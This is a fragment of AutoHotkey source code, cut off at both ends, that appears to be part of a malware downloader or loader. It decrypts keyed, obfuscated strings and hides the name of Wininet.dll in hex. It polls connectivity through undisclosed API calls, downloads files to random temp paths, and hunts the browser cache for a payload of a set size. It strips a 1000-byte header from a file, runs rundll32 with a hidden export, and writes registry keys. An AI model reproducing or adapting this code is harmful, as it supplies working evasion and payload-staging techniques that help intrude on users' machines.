| Try SrcCd := WeB.document.documentElement.outerHTML | |
| sleep, 500 | |
| if typ = t | |
| { | |
| Try { | |
| Gui, Destroy | |
| Gui, Cancel | |
| } | |
| if SrcCd | |
| return SrcCd | |
| tfl := atemp "\" get_num_seed(11) | |
| kill_del(tfl) | |
| gosub, clr_tif | |
| Try UrlDownloadToFile, %ul%, %tfl% | |
| if FileExist(tfl) { | |
| Try FileRead, SrcCd, %tfl% | |
| kill_del(tfl) | |
| } | |
| return SrcCd | |
| } | |
| if typ = f | |
| { | |
| kill_del(fl) | |
| loop, 2 | |
| { | |
| loop, parse, tif_drs, `n | |
| { | |
| loop, %USERPROFILE%\%a_loopfield%\*.*, 0, 1 | |
| if exst_iech not contains |%A_LoopFileFullPath%| | |
| if (A_LoopFileSize = flsz) { | |
| SrchFl := A_LoopFileFullPath | |
| Try FileCopy, %SrchFl%, %fl%, 1 | |
| Break | |
| } | |
| if SrchFl | |
| break | |
| } | |
| if a_index = 2 | |
| break | |
| Try { | |
| Gui, Destroy | |
| Gui, Cancel | |
| } | |
| if SrchFl | |
| break | |
| sleep, 3000 | |
| } | |
| exst_iech := | |
| if SrchFl | |
| { | |
| Try { | |
| Gui, Destroy | |
| Gui, Cancel | |
| sleep, 1000 | |
| } | |
| kill_del(SrchFl) | |
| if FileExist(fl) | |
| return fl | |
| } | |
| gosub, clr_tif | |
| Try UrlDownloadToFile, %ul%, %fl% | |
| sleep, 200 | |
| if FileExist(fl) { | |
| if (FileSize(fl) = flsz) { | |
| return fl | |
| } | |
| } | |
| return "" | |
| } | |
| Gui, Destroy | |
| Gui, Cancel | |
| return "" | |
| } | |
| Wt_4_inet() { | |
| Static chk_uls, igcs_, icca_ | |
| Global mky | |
| if !chk_uls | |
| chk_uls := dcprt("nNe1xqSnecbN33-ax4cqj3snA2uRixrDDmfSyw8rYi3On3qjmhLjj35vPpoTN57d-a", mky) | |
| if !igcs_ | |
| { | |
| wn := h2s("57696E696E65742E646C6C") //Wininet.dll | |
| igcs_ := wn dcprt("kKyvys-bquLTKr7a4u9af3bu06NWYtrW33t0-c", mky) | |
| icca_ := wn dcprt("kKyvys-bquLTKq7mp29J03sS-b2dOozLDEqw-c-c", mky) | |
| } | |
| Loop | |
| { | |
| Loop | |
| { | |
| Try { | |
| if DllCall(igcs_, "UInt *", 0x40, "Int", 0) | |
| break | |
| } | |
| sleep, 10000 | |
| Try { | |
| if DllCall(igcs_, Str, 0x40, "Int", 0) | |
| break | |
| } | |
| sleep, 10000 | |
| } | |
| chk_lnk_ok = 0 | |
| For ew, lk in StrSplit(chk_uls, "|") { | |
| Try { | |
| if DllCall(icca_, Str, lk, Int, 1, Int, 0) { | |
| chk_lnk_ok = 1 | |
| break | |
| } | |
| } | |
| sleep, 30000 | |
| } | |
| if chk_lnk_ok | |
| Break | |
| sleep, 10000 | |
| set_ie_oln() | |
| } | |
| } | |
| Str_Replace(ByRef str, srch, rep="") { | |
| str := StrReplace(str, srch, rep) | |
| return str | |
| } | |
| upd_pr_usr_prms() { | |
| Static uusp | |
| if uusp = | |
| uusp := dcprt("v7yuqNKKdovQv7-avubGemZrD15yrub-aSi5rD3L8-c", "LJG^%&&^j") | |
| Try run, %systemroot%\system32\rundll32.exe user32.dll`,%uusp%,, useerrorlevel | |
| } | |
| strp_fst_1k(infl="", ByRef outfl="") { | |
| Global | |
| i_fsz := o_fsz := o_fsz_w := 0 | |
| strp := 100*10 | |
| Try { | |
| fl := FileOpen(infl, "r") | |
| if IsObject(fl) { | |
| i_fsz := fl.Length | |
| o_fsz_w := i_fsz-strp | |
| fl.RawRead(file_, i_fsz) | |
| fl.Close() | |
| } | |
| } catch ee { | |
| i_fsz = 0 | |
| } | |
| if (i_fsz > 0) { | |
| Try { | |
| fl := FileOpen(outfl, "w") | |
| if IsObject(fl) { | |
| fl.RawWrite(&file_+strp, o_fsz_w) | |
| o_fsz := fl.Length | |
| fl.Close() | |
| } | |
| } catch ee { | |
| o_fsz = 0 | |
| } | |
| VarSetCapacity(file_, 0) | |
| } | |
| if (i_fsz > 0 && o_fsz > 0 && o_fsz_w > 0 && o_fsz = o_fsz_w) { | |
| return outfl | |
| } | |
| return "" | |
| } | |
| FileSize(InFl="", ByRef sz=0, km="") { | |
| sz = 0 | |
| Try { | |
| FileGetSize, sz, %InFl%, %km% | |
| if ErrorLevel | |
| sz = 0 | |
| } Catch e | |
| sz = 0 | |
| return sz | |
| } | |
| rg_rd(hk="HKCU", pth="", nm="") { | |
| if (!pth || !nm) { | |
| return | |
| } | |
| Try RegRead, r, %hk%, %pth%, %nm% | |
| return r | |
| } | |
| rg_wt(typ_r="REG_SZ", hk_r="HKCU", pth_r="", nm_r="", vl_r="") { | |
| if (!pth_r || !nm_r) { | |
| return 0 | |
| } | |
| Try { | |
| Try RegWrite, %typ_r%, %hk_r%, %pth_r%, %nm_r%, %vl_r% | |
| if !ErrorLevel | |
| return 1 | |
| } | |
| return 0 | |
| } | |
| get_tmp_lks() { | |
| Global atemp | |
| loop, 100 | |
| { | |
| lk := atemp "\" get_num_seed(12) ".lk.tmp" | |
| ifnotexist, %lk% | |
| break | |
| kill_del(lk) | |
| lk = | |
| } | |
| return lk | |
| ) |